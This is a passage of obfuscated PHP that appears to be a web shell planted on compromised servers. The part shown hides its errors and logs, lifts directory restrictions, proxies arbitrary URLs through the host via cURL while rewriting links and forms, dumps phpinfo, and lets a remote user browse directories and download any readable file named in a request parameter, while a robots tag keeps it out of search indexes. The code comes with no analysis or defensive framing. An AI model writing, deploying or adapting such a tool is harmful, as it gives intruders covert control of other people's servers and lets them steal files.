1VXC4YXWUjMy0hYF4YHWgD09SEYhAw/Ojw9/j1AMmQxQIiIkCA+Evr4IUSDlQKEmiiJ8qRiRShJMggohICAx48EBhwgFAgAOw==',			array('css','css1'),'lhEAAQAMQAAAAAAP///xw2hyA7jCVCkSpJlzBRnTZZpDxhqkFosEZvtUp0uk14vTBvw+zy+vD1/Dd2xz99y0mF0FKO1FyW2WSd3Wuk4e70++3z+rjU8e/1+////wAAAAAAAAAAAAAAACH5BAEAABsALAAAAAAQABAAAAVh4CaOZGmeaEoybOu+25LNdE0vm2LtfM8rm0Sl8ngMi0djYoOgaCjQZxRKQWwOk8tkm+VqJ4eNQYKRmM1ltMSwKUQiDgdcPn8XNgSIfs/fEzYDDYKDhIMDGwKJiouMKo6OIQA7',			array('rb','rbx','rhtml'),'lhEAAQAOYAAAAAAP///4wMDYsMDfuqSv2eRfLAmPiFOPO5kvS+mvB2Mex4OfNvLutkJvFqL+ZpNOhYIelYIuhWI+NWJelkNOOSdeKUduWWePSfgeSXe+JNH+JRH9tNHuSMcOSNcuKPddRFHt1OJvGJbfKLb9tDG9Q/HNp8Y96Ca8UxE9k8G9xBINJDIs9IKtVmUOJ3Yd15Y9x3Y/CGcPSOd/SOePOQevmUf/eSfviUf+B0YvGKdvOMeM1KOM9ZSdBQQbYUCrETC7UWDbAYEMFEPcppY45cWdealqkTDJsQDKATDawaFKAXE6UaFZwZFct2cooNDJUQDooNDYwODpIQD44PD4oREZcYFZEYFnAsLOXY2Pz6+v39/fHx8fDw8O/v7+7u7u3t7ezs7Ovr6+rq6unp6ejo6Ofn5+bm5uXl5eDg4KGhoZ6enpqampWVlZCQkIqKioSEhH19fXd3d3BwcGpqamNjY15eXlhYWFRUVFBQUP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAHkALAAAAAAQABAAAAfZgHl5aYSFhoKIeWpajI2MamqJeWtaZGVlZmdnWmFra4lsWmNklphaZ2FsbIhtWmJjo5ZaaKhtbYJunGFir2SOWm6Cb1lFQkA+Q1ixZVpvgkQ/PTkvJjtNvLBacIJBODUzGhQZSWG7YlpxeUYuNjIrGwsfS19g5VpyeTw3OiwoHA8WlHj5Qk/LHCQ0YoSIMEGCigtMungZqIXOERggGhxwQCJFhSpcukjUUufJCQUECjCAUMKDlS1cQmqxI6UFghEiMCQw0MGKowB38kyJIsDJACgDqFzBw7RpIAA7',			array('pdf'),'lhEAAQANU+APj4+Pf39+LHyq18hs50ev7+/qqAiolobbR+h76+vq2Ci7GBivn5+ckABeO4u9aJjbItNYiIiLtMVOjo6IUYI3BBTap1fMsmNuzc3pcADObm5pQOG8HBwfDn6M6Kj8ycouvT1Kk9SPDw8IAADrAdJqVMVs7Ozrp5gbqKkOLN0LcACOCFh8mZmtyqrKJCTeHh4e/v78rKyuTk5PHx8fLy8tQnOKdDTncVH/z8/PX19bQhMJiBhqMeK////////wAAACH5BAEAAD4ALAAAAAAQABAAAAaqQJ+QZysabS4BQMg8TWRQmWZi6il9l5p2q73IEj0rQEcum1/gXgDFa7vfL07kMKfc7vg75SWLJWIWTAcxhDEsDQQwMDM0CEwWMi+SLQ0rM4w5jkIDiooiDSA0NDmZTAOXlw4qD6Q5AQumoqMQDyQSBAQOsJutHhkQtzwZNrs+BgEdIRtKAQAMGDgKTAYMJSMfDDjaOAUF0kIGOBgp291hPd8+FTvs7e47FUEAOw==',			array('exe','xbe','xex','elf','xpi','pef','nlm','o','app'),'lhEAAQANU1APX19fHx8fj4+Pv7++7u7vPz8/b29uzs7Gd4kfz8/PT09Pr6+vn5+f39/UyQj+jo6EeElenp6UN7mFCXi1iiglKaiVSdhztpoE6UjUmJk+vr6+/v7z1unmCtdmSxcubm5j5xnUF4mkWAll6qeVyofFqlflaghEqMkV2pevDw8ER9l+fn5+3t7UB0m/f39+rq6v7+/tPZ4MrMzf///4+Sl////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADUALAAAAAAQABAAAAaAwJpwSCzWaMikcomMOZ9PREyKQMqu2GwWOet6YbDGgGFQBLgXTksCAYvJlzNtBgqJMo5GFqDacNknGBUJCwICAAUTBFx4ExYUA1kBKAdcgiYlI2QKZhsHL1yPJB0eLlksGg9cMzCEh4gpBBoRK6uthYgBBAcRDx9MwEpGw8TFQkEAOw==',			array('ini','inf'),'lhEAAQANU/APT09PTy8ry8vK2trfz8+/v7+uru8ri4uLq6uuDh4/Pz9vr6+fz7+76+vvv6+fLy8vj399jY2uXl6JKltZuyx/b19Pz7+rnN4Pr5+Pf29sbV34aGhvn4+J2dnaS90YSdtPTz9Pf19f39/vX08/r5+ZCQkPn49/Px8crKyvf5+rKyssXFxfP08+bl5Zawx7W1tfr6+uDf3/v6+oeesf38/Pj3+Pb19aa+0Imht/7+/f39/MDAwHl5eXKHmsjW4P///yH5BAEAAD8ALAAAAAAQABAAAAatwN9vt1MQjcUdTMjcMRoRHZTQQCFYzF+jkJDournEKiN4MAWLAoOg0+VyiMMBccYsZBa2O9eK0YU9PoGBPoWGB0IGN4o3OD55NHuIPYs9lh4uhIYvPykGPQAVEDg9NQ4FBJEqP5Q9Gho+pJqFqz83PScPFaQgHCSnDAOsExc4xhQzsz7CPxcTlj0fFDYZEBx2HUIig4KG3iVMGycnAQEgIxUh1SYbTDzv8PHwP0EAOw==',			array('bat','cmd','nt','ncf','com','pif'),'lhEAAQANU/AKW7zP39/Wd2jXGMpMjp/OP//4SatYmkutP9/1h1lPLy89v9//b29vj4+d3k7PDw8Pr6+qjE2MHe8PX19ZufqPr7/Pf4+LrO4T9hgvLx8ev//9Ph6pq4z3ehw/f39/n6+vb19ZCwxx1Xkfr5+fHy8fHy8vPz8+Lq8PLx8mRpgLbr/1iNvKGqu9v1+4qVpfP087HT6LPY7vn5+WF9m/n6+fTz8/j///X29fz8/PT09IOw1ShbkdDW3f///4+Sl////yH5BAEAAD8ALAAAAAAQABAAAAaowJ9wSCz+fMikconkOZ9PAU8qQPauHMfOEZHJLB7GxNrbIXo222XXCE9y1tAZgEkVLgkQKGeynnoUAzIXAy0bN3x9PgE7BRQ4EBkzEjsTNSYoSAEOCwsCMgAHMCwvJgoZmgYwBQQHIRIROgkrJKg+OBU7BhoqrTo7FQkdD0iQMhQxOy4ACRU6wSVIECMWFgwgpb8VIjrEPh9tHm85CiWy3d5M6khG7UNBADs=',			array('wmv','avi','swf','flv','f4v','3gp','asf','mov','mpg','rm','mp4'),'lhEAAQAOYAAAAAAP///7RUhI5ZdIZhkl5adjtASEdOVztBSEVMVFZeZ3R+iUVvm0ZOVkdOVUhPVm95g3F7hWZveHN9h2JqcmBqc3WAimJrc2Zvd2hxeTyZ6XJ9hkh2mGFrc3iEjXeDjHaCi2lze11mbV9ob12o22NtdGJsc3eDi213fh2q+kJ8njSGskez7U6En2CPp0uy5HXE6HSToIfA1XGgsmB2fmmbqGKXonLU4nLP3v///v7+/f39/Pz8+/v7+vr6+fr5+Pn49/j39vb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P/+/vz7+/j39/f29vb19fTz8/Py8uDf3/7+/v39/fb29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGgALAAAAAAQABAAAAfPgGhoWISFhVmCiYNMPDs7Ojo8OlZdimhZPYyOkDpXVZWJWj6ZjY86XF5eXIlbPx4eHbEVCighUquCXEAeUzU4ODc2OSE6XoleQR4nMTIyMC4hGcWJX04fOgMCAgQFSxg6X4lgTyAWDw4OCQgSJTtgiWFGFlQrKSkaDFMXPGGJYkcLNrR48YKFChMUmIhJNAbJBCo0ZswgwWHKiB5jEpGJEgHCgY8NDIwQ4YNMojJJiCA5MkRIESdNgPwok8iMkpRIoLR8GdNMojNAgwoNiiYQADs=',			array('mp3','aac','aif','m3u','midi','mid','mpa','ra','wav','wma'),'lhEAAQAOYAAAAAAP///4mm18rc7k2Y3Nzo8yGD12Kj2Gum2rHP6Ad4zcnd7Ad4ys3i8N/s9QKC1DSa2Vyw5+vz+ACN4RKV3zOTy9Xo8wCM0QOa6RCLzEKk1IvN8Nzq8eLv9gCe6YnE3pDI4p7O5ACe4Tqm0lnE8p7S58Le6gCX0gSj4C2hy/P39/7+/f39/Pz8+/v7+vr6+fn5+P38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGEALAAAAAAQABAAAAfEgGFhUYSFhVKCiYNCLSwsKystK09WimFSLoyOkCtQTpWJUy+ZjY8rVVdXVYlUNC9DMg4IBZBMTauCVTWuQx0PJJsrV4lXNjUwRBIRKCWmw4JYR8YwFgcfGUGPWIlZSDfGKikzBi0xLFmJWjzeDRsjAwouLS1aiVs9SQQUHhAJAjOZtiTi4qMHBhETGCwo4soFl0RdlviocOKChiNGGL7oksjLDx0mQoDgsAPjLi+JvgD56ENJDhwljdT4kgiMzZs4b4YJBAA7',			array('c','h'),'lhEAAQAOYAAAAAAP////z8/v7+//n6/t3k9+/y+/X3/fr7/vn6/efs+erv++zw+r3N8MPS8sXT8tLd9dni99ni9tvk+OLp+ebs+ubs+eXr+Onu+e/z/MrY88zZ9M7b9Nrj9tzl99ri8uDo+Ozx++/z+/T3/fv8/tLe9Nbh9tDb79fi9t7n+Nvj8uLq+ebt+ufs9aOxx+Xr9ejt9fX4/ZWjuKSzyZmnvKe2zMHP40JroDRIYjVJY4ulyHmKoJOit5WkuZyrwKu70am5z6SzyJ2swLLC2K+/1a6+1LnI3MjU5LrF1O/0+wE5fSFSjyJTjzJfl0NsoHeVuoGdwYWgwoiiw4ehwoeiwpGqyniKoaCwxLvK3crW5Pj7/vz9/uzx9f7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF8ALAAAAAAQABAAAAeigF9fQ4SFRUAzLoKLgwGOj10+ODuMX0SPjgMkPUg4Vow/mAMCCTw5p4w1j1hSUy1JPKaMQY5PTFROTQsWPDiMV15cSlkEL1AqK72MQltGSggHGQwXBcqLNFpHSjAjIR8gKNaCMjEHTFExVUonJeJfPCIGNjdKSzoRG+48GBYVLAoUOnB4oI9CigkSTEDQ4KCBPg+xIkr0tagXjosYM1bayDEQADs=',			array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),'lhEAAQAPcAAAAAAP////v7/vz8/v7+//39/vn6/vj5/eLo+Ovv+vH0/PT2/NLc9eDn+MbM2+jt+unu+tnd58HQ8cLR8cjV88rX883Z9NDb9dXf9drj97zE1b/H2OPq+erv+u/z/O7y+7zN8MXU8sbV8qOvxqCsw8vY887b9K+5zdHd9NPe9dji97fA0tnj993m+Nzl9+Do+PT3/fP2/Pj6/vf5/fv8/vf4+qWxx6u2y6q1yqizyNXh9rO9z9rk99ji9d7n+NLY49rf6OLm7aOxx7C7zbfB0ubt+e3y+uns8aSzyZ6rvrvF1LjBz/n7/jRIYjVJYztOaDxPaKnD5XmKoLHE3ZOit5alupaluZyrwKm5z7LC2K6+1LjH29rl9Ovw9wBOrg1Ysg5XsiBluS9uvDBvvTJxvjZzvjh1vzh2vz96wWuZ0DtPaEFUbEJVbYit2UlbcpGz3JW23Zm536bC43iKobDH5LPK57TL58ra7t/o8+bu+Ofr8GCSzG6c0X6m1LXM5sTX7MbY7dvn9Nzn8+Dn7+nv9v3+//z9/v7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAIkALAAAAAAQABAAAAjgABMJTJSloEEtWJAIGThwS4CHEA9daSKFYaJBEB8SoFFFiZM5AvGk6RMHYiEBB5KwUeMk0Z8vYMZ4eRMA0AAmM+4EiQAl0R4vXWq0kUPACw0DB7zEALIm0Rk0AfQg4uKlKtWqU9wkMiMmwJFABQx5mQFjgZcPP5ry8WKHEJkwMup46PAgygsHTxIJKlPVCxwFCTj4yNADBZEmA+n4yaMAAgIeOhhYoDAE8cAlRoo0YIHhQgkRE3BYFmiFQwsVKUxUCCEBhI3Riai42KBhxY4TN3KMIAGbSpPfwIPDtkg8UUAAOw==',			array('cs','c#=','csproj','csx'),'lhEAAQAOYAAAAAAP////z8/v39/u/y+/r7/vn6/dri9t7l9+Dn+OTq+ebr+Orv++nu+vb4/cHQ8cLR8cfV88rX88zY9NHc9eLp+eXr+ebs+bzN8MXU8s3a887b9NPe9dji99ji9t3m+Nzl99/n9+ju+vT3/dPf9dXh9trk99/o+Oju+e3y++zv9JOhtaSzyZyqvqeyws7U3dXb5OLm7PP1+DRIYjVJY2Byimh5kYKRpYiXrJOit5WkuZyrwKm5z6SzyLLC2LDA1q6+1LrF1O/0+3GDmniKoXmLonyNovT2+PP19/7//+Lt597r4Orz68rfy8/i0K7OrwCZAACVAACUAAGVAQKWAgSXBAaYBgeZBwiZCBmjGXjJeJ7Ynt/s3+Ds4OLu4vv9+////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGAALAAAAAAQABAAAAezgGCCg4SFhD6IiUA8LD2GPgGRkkk7M0WFP5IBVlwDOkEzRIKRKpFYXFJYAjk0rYJdWVBeXlJVUE0GQjmsYAFQXUdaV1RMUlQODBc5M71QATKRVFNSSwQWJ8u9WV1IW1dRT1NKCyEH2WBdULJfVU4jIggeJOe9MQUwLy43QzY1GvRgcqRooCCBiRIUJkQAmANFixU4jPCrAYFhhQ8dOGyQkOEBBoYgdokcyWzQshkoU6oEEwgAOw==',			array('asm'),'lhEAAQAOYAAAAAAP////z8/v7+//39/vz8/fr7/uzu88PR8cbU8tXf9rzE1b/H2N7m+OPq+eLp+Obs+evw++Pm7bzN8L7P8aOvxqCsw8rY89Dc9K+5zdXg9rfA0tzl9+Do+O/z+/P2/Ofq8Pf5/fDy9u/x9fv8/vr7/aWxx6u2y6izyLO9z9rk9uHp+PD0+7/I19rf5/X4/aSzybvF1MfQ3c3U3vL2/Pn7/vL09/Hz9jRIYjVJYztOaDxPaGd2i6S72pOit5alupaluZyrwKm5z7LC2K6+1L7H0+3w9DJfl0Z1sUd2sUFUbElbcpOuz5ey1Ki/2qrA26m/2qzB26q7z7C8y6qzvuLp8nuKmunt8e7x9PL09vz9/v3+/v7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF0ALAAAAAAQABAAAAewgF2CQ4SFREIwgoqDXI2OXEE4i4yPjT8xOZNSlY1FVFY8izIBpKVbBTcSO11IR11XUUdHAbKyTUZKXQFMRyNHTwNbRwNHWkciS11JsjZPR04CRwRHJMe5R1VHWQNQRzXF1EcHOsqyWLI9IeEGRyCSijMlBDQsNC8eHxEu74JT9RAPVjhQ0UBBC35dgHRQoQHDhQQIKEwwgdAHBwYLNqTIcAJFBQsVcYgcSRLhpJOCAgEAOw==',			array('dll','so','lib','sys','drv','cpl','ocx','scr'),'lhEAAQAOYAAAAAAP///wEXNihAXFh0kihbkc/i9fr7/Jqvwq/D1YOw1a/F2KzD1bPV6dbw/9vy/930/9ru9dbo7/f4+P7+/f39/Pz8+/v7+vr6+f38+/r5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/r5+fj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAEUALAAAAAAQABAAAAe/gEVFNYSFhTaCiYMoFhUVFBQWFDM6ikU2F4yOkBQ0MpWJNxiZjY8UOTs7OYk4GhgoDAULE5AwMauCORsoBRUPDwUUpjuJOxwMFQ0DDgYLw4k8KwUPAikJEQUnjzyJPSwMvwgSCgQKGRU9iT4iLAUQDwoFBwUKFj6JPyMtHrEEBwoHCKD4kQgICX0eOsSbp+ACkERBXhzcF4KcAldBEgkpAeLgBw8hVqjYoEFIoiEmOJJw8THkyCGJiMicSXNmkUAAOw==',			array('zip','rar','tar','gz','7z','ace','dmg','par','lzo','tgz','uha','z','zoo','r00','arj','bz','bz2','tbz','tbz2','uu','iso','xxe','cab','pbk','uuf','lzh','lha','deb','pkg','sit','zipx'),'lhEAAQANU/AABrRHkDRf9+0wCDUgBXpogBUgBVnoMCTgBTlZkJYVQTE6APZyoqKlwTGq2usWoPJsvP1YCAAKKjpvz9/3MTKyUlJW4ZH/j7/87P0hA1AAAxT8XFHdHRAJGRAJaWALm5AGm//wVitYzvzf++8FMOIGfqvli2//pnxehZtZjX/6Td/7Dk/7v14U3ns4HL/43R/xXfm/+c4j8/PwBMiHXF/8XHzNnb4ACIV5IBWRhNAAA7ZmITGE8AAP///wAAAP///yH5BAEAAD8ALAAAAAAQABAAAAahQFJjRywWG4qfUqKweDgdC+UxnSaVNVKgw/EEDt9w0nGBKBILtDqdOOwqmEmt0BvFYoL86YRqSHw2PRYbOIWGhQU8PzWADRE8kJGSZBAMPpeYmT4/cHIhPSsqKS8uNCAmJhp/gQQbBK8GsQizm4w2MxE6uru7GpSWmpqccTUDPSwiJSUtLTDOGT8MgQAfN9bX1gOb0TYAETng4eHQSjLBwkEAOw=='		);		for($CDrsyObtJKjy=0;$CDrsyObtJKjy<46;$CDrsyObtJKjy+=2){			if(in_array($_GET['ext'],$RDrsyObtJbjy[$CDrsyObtJKjy],TRUE)){				echo base64_decode('R0lGOD'.$RDrsyObtJbjy[$CDrsyObtJKjy+1]);die;			}		}		echo base64_decode($CDusyObtJbjy);die;	}}if(function_exists('error_reporting')){error_reporting(0);}if(function_exists('set_time_limit')){set_time_limit(0);}if(function_exists('ini_set')){ini_set('error_log',NULL);ini_set('log_errors',0);ini_set('file_uploads',1);ini_set('assert.quiet_eval',0);ini_set('allow_url_fopen',1);ini_set('memory_limit','10000M');ini_set('upload_max_filesize','100000M');ini_set('max_execution_time',300);ini_set('magic_quotes_sybase',0);ini_set('magic_quotes_runtime',0);ini_set('magic_quotes_gpc',0);ini_set('open_basedir',NULL);}elseif(function_exists('ini_alter')){ini_alter('error_log',NULL);ini_alter('log_errors',0);ini_alter('file_uploads',1);ini_alter('allow_url_fopen',1);ini_alter('memory_limit','100000M');ini_alter('upload_max_filesize','100000M');ini_set('max_execution_time',300);ini_alter('magic_quotes_sybase',0);ini_alter('magic_quotes_runtime',0);ini_alter('magic_quotes_gpc',0);ini_alter('open_basedir',NULL);}if(function_exists('get_magic_quotes_gpc')){	if(get_magic_quotes_gpc()===1){		if(isset($_GET)){for($CDrsyObtJKjy=0,$CDr6yObtJbjy=count($_GET);$CDrsyObtJKjy<=$CDr6yObtJbjy;$CDrsyObtJKjy++){$_GET[$CDrsyObtJKjy]=stripslashes($_GET[$CDrsyObtJKjy]);}}		if(isset($_POST)){for($CDrsyObtJKjy=0,$CDr6yObtJbjy=count($_POST);$CDrsyObtJKjy<=$CDr6yObtJbjy;$CDrsyObtJKjy++){$_POST[$CDrsyObtJKjy]=stripslashes($_POST[$CDrsyObtJKjy]);}}	}}if(function_exists('get_magic_quotes_runtime')){	if(get_magic_quotes_runtime()===1){		if(function_exists('magic_quotes_runtime')){magic_quotes_runtime(FALSE);}		if(function_exists('set_magic_quotes_runtime')){set_magic_quotes_runtime(FALSE);}	}}else{	if(function_exists('magic_quotes_runtime')){magic_quotes_runtime(FALSE);}	if(function_exists('set_magic_quotes_runtime')){set_magic_quotes_runtime(FALSE);}}if(function_exists('ignore_user_abort')){ignore_user_abort(FALSE);}if(!isset($_SERVER)){$_SERVER=$CDrwyObtJbjy;}header('Content-Type: text/html; charset=utf-8');if($_GET['action']==='cURLframe'){	session_start();	if(!empty($_REQUEST['c37url'])){		$CDrsyObtJbjx=curl_init();		if(!empty($_GET['c37url'])){curl_setopt($CDrsyObtJbjx,CURLOPT_URL,base64_decode($_GET['c37url']));$CDrsyOwtJbjy=$_GET['c37url'];}		else{curl_setopt($CDrsyObtJbjx,CURLOPT_URL,$_POST['c37url']);$CDrsyOwtJbjy=base64_encode($_GET['c37url']);}				curl_setopt($CDrsyObtJbjx,CURLOPT_RETURNTRANSFER,TRUE);		curl_setopt($CDrsyObtJbjx,CURLOPT_FOLLOWLOCATION,TRUE);		curl_setopt($CDrsyObtJbjx,CURLOPT_AUTOREFERER,TRUE);		curl_setopt($CDrsyObtJbjx,CURLOPT_BINARYTRANSFER,TRUE);				if(count($_POST)!==0){curl_setopt($CDrsyObtJbjx,CURLOPT_POST,TRUE);curl_setopt($CDrsyObtJbjx,CURLOPT_POSTFIELDS,$_POST);}				if(!isset($_SESSION['UA'])&& isset($_POST['UA'])){$_SESSION['UA']=$_POST['UA'];}		curl_setopt($CDrsyObtJbjx,CURLOPT_USERAGENT,$_SESSION['UA']);				$CDrsNObtJbjy=curl_exec($CDrsyObtJbjx);							header('Content-type: '.curl_getinfo($CDrsyObtJbjx,CURLINFO_CONTENT_TYPE));		$CDrsHObtJbjy=curl_getinfo($CDrsyObtJbjx,CURLINFO_CONTENT_TYPE);		if(empty($CDrsHObtJbjy)|| strpos($CDrsHObtJbjy,'text/html')!==FALSE || strpos($CDrsHObtJbjy,'application/xhtml+xml')!==FALSE || strpos($CDrsHObtJbjy,'application/xml')!==FALSE){			$CDrsyObtJtjy='http';if(isset($_SERVER['HTTPS'])&& $_SERVER['HTTPS']!=='off'){$CDrsyObtJtjy.='s';}			$CDrsyObtJ6jy=$CDrsyObtJtjy.'://'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF'].'?action=cURLframe&c37url=';			$fDrsyObtJbjy=new DOMDocument;			$fDrsyObtJbjy->loadHTML($CDrsNObtJbjy);			$CDrsyObtJbPy=$fDrsyObtJbjy->getElementsByTagName('a');			for($CDrsyObtJKjy=0;$CDrsyObtJKjy<$CDrsyObtJbPy->length;$CDrsyObtJKjy++){				$CDrsyObtJb9y=$CDrsyObtJbPy->item($CDrsyObtJKjy);				if($CDrsyObtJb9y->hasAttribute('href')){					$CDrsyObtJbjS=$CDrsyObtJb9y->getAttribute('href');					if($CDrsyObtJbjS[0]==='/'){$CDrsyObtJb9y->setAttribute('href',$CDrsyObtJ6jy.$CDrsyOwtJbjy.base64_encode($CDrsyObtJbjS));}					else{$CDrsyObtJb9y->setAttribute('href',$CDrsyObtJ6jy.base64_encode($CDrsyObtJbjS));}				}			}			$CDrsyObtJbPy=$fDrsyObtJbjy->getElementsByTagName('form');			for($CDrsyObtJKjy=0;$CDrsyObtJKjy<$CDrsyObtJbPy->length;$CDrsyObtJKjy++){				$CDrsyObtJb9y=$CDrsyObtJbPy->item($CDrsyObtJKjy);				if($CDrsyObtJb9y->hasAttribute('action')){					$CDrsyObtJbjS=$CDrsyObtJb9y->getAttribute('action');					if($CDrsyObtJbjS[0]==='/'){$CDrsyObtJb9y->setAttribute('action',$CDrsyObtJ6jy.$CDrsyOwtJbjy.base64_encode($CDrsyObtJbjS));}					else{$CDrsyObtJb9y->setAttribute('action',$CDrsyObtJ6jy.base64_encode($CDrsyObtJbjS));}				}			}			$CDrsyObtJbPy=$fDrsyObtJbjy->getElementsByTagName('img');			for($CDrsyObtJKjy=0;$CDrsyObtJKjy<$CDrsyObtJbPy->length;$CDrsyObtJKjy++){				$CDrsyObtJb9y=$CDrsyObtJbPy->item($CDrsyObtJKjy);				if($CDrsyObtJb9y->hasAttribute('src')){					$CDrsyObtJb9y->setAttribute('src',$CDrsyObtJ6jy.base64_encode($CDrsyObtJb9y->getAttribute('src')));				}			}			echo $fDrsyObtJbjy->saveHTML();		}		else{echo $CDrsNObtJbjy;}		curl_close($CDrsyObtJbjx);		die;	}}$CDrsyObtJbdy=TRUE;if(isset($_GET['dir'])){	if(!chdir($_GET['dir'])){$CDrsyObtJbdy=FALSE;}}$CDrsyObtJbXy=getcwd();if($CDrsyObtJbXy[strlen($CDrsyObtJbXy)-1]!==DIRECTORY_SEPARATOR){$CDrsyObtJbXy.=DIRECTORY_SEPARATOR;}$CDrsyObtJUjy=urlencode($CDrsyObtJbXy);if($sDrsyObtJbjy){	if($_GET['action']==='info'){phpinfo();die;}	if($_GET['action']==='download'){		if(is_readable($_GET['file'])){			header('Content-Description: File Transfer');			header('Pragma: public');			header('Cache-Control: must-revalidate, post-check=0, pre-check=0');			header('Cache-Control: private',false);			header('Expires: 0');			$CDrsyObtJb2y='Content-Type: ';			if(class_exists('finfo')){				$CDrsyObtJbjf=new finfo(FILEINFO_MIME);				$CDrsyObtJb2y.=$CDrsyObtJbjf->file($_GET['file']);			}			elseif(function_exists('mime_content_type')){$CDrsyObtJb2y.=mime_content_type($_GET['file']);}			elseif(function_exists('apache_lookup_uri')){$CDrVyObtJbjy=apache_lookup_uri($_GET['file']);$CDrsyObtJb2y.=$CDrVyObtJbjy->content_type;}			else{$CDrsyObtJb2y.='application/download';}			header($CDrsyObtJb2y);			header('Content-Disposition: attachment; filename="'.$_GET['file'].'"');			header('Content-Transfer-Encoding: binary');			header('Content-Length: '.sprintf('%u',filesize($_GET['file'])));			if(function_exists('readfile')){readfile($_GET['file']);}			elseif(function_exists('file_get_contents')){				echo TfRvnFLtvgEJ($_GET['file']);			}			elseif(function_exists('fread')&& function_exists('fopen')){				$CDBsyObtJbjy=fopen($_GET['file'],'rb');				echo fread($CDBsyObtJbjy,sprintf('%u',filesize($_GET['file'])));				fclose($CDBsyObtJbjy);			}			elseif(function_exists('fgets')&& function_exists('fopen')){				$CDBsyObtJbjy=fopen($_GET['file'],'rb');				$CDrmyObtJbjy='';$CDrsyOxtJUjy='';				do{					$CDrsyOxtJUjy=fgets($CDBsyObtJbjy,sprintf('%u',filesize($_GET['file'])));					$CDrmyObtJbjy.=$CDrsyOxtJUjy;				}while($CDrsyOxtJUjy!==FALSE);				echo $CDrmyObtJbjy;				fclose($CDBsyObtJbjy);			}			elseif(function_exists('fgetc')&& function_exists('fopen')){				$CDBsyObtJbjy=fopen($_GET['file'],'rb');				$CDrmyObtJbjy='';$CDrseObtJbjy='';				do{					$CDrseObtJbjy=fgetc($CDBsyObtJbjy,sprintf('%u',filesize($_GET['file'])));					$CDrmyObtJbjy.=$CDrseObtJbjy;				}while($CDrseObtJbjy!==FALSE);				echo $CDrmyObtJbjy;				fclose($CDBsyObtJbjy);			}			die;		}		else{echo 'Are you kidding me?!<br />This file does not exist or is not readable...';die;}	}	if($_GET['action']==='getfile'){if(!readfile($_GET['file'])){echo TfRvnFLtvgEJ($_GET['file']);}die;}	if($_GET['action']==='printimg'){echo '<html><head></head><body><img src="?action=getfile&amp;file=',$SCDIR,urlencode($_GET['file']),'" /><script type="text/javascript">window.print();</script></body></html>';die;}}$CDrSyObtJbjy=strtoupper(substr(PHP_OS,0,3))==='WIN';echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"',"
	",'"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">',"
",'<html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="cache-control" content="Private,no-Store" />
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<meta name="robots" content="nofollow,noindex,noarchive" />
		<meta http-equiv="Content-Script-Type" content="text/javascript" />
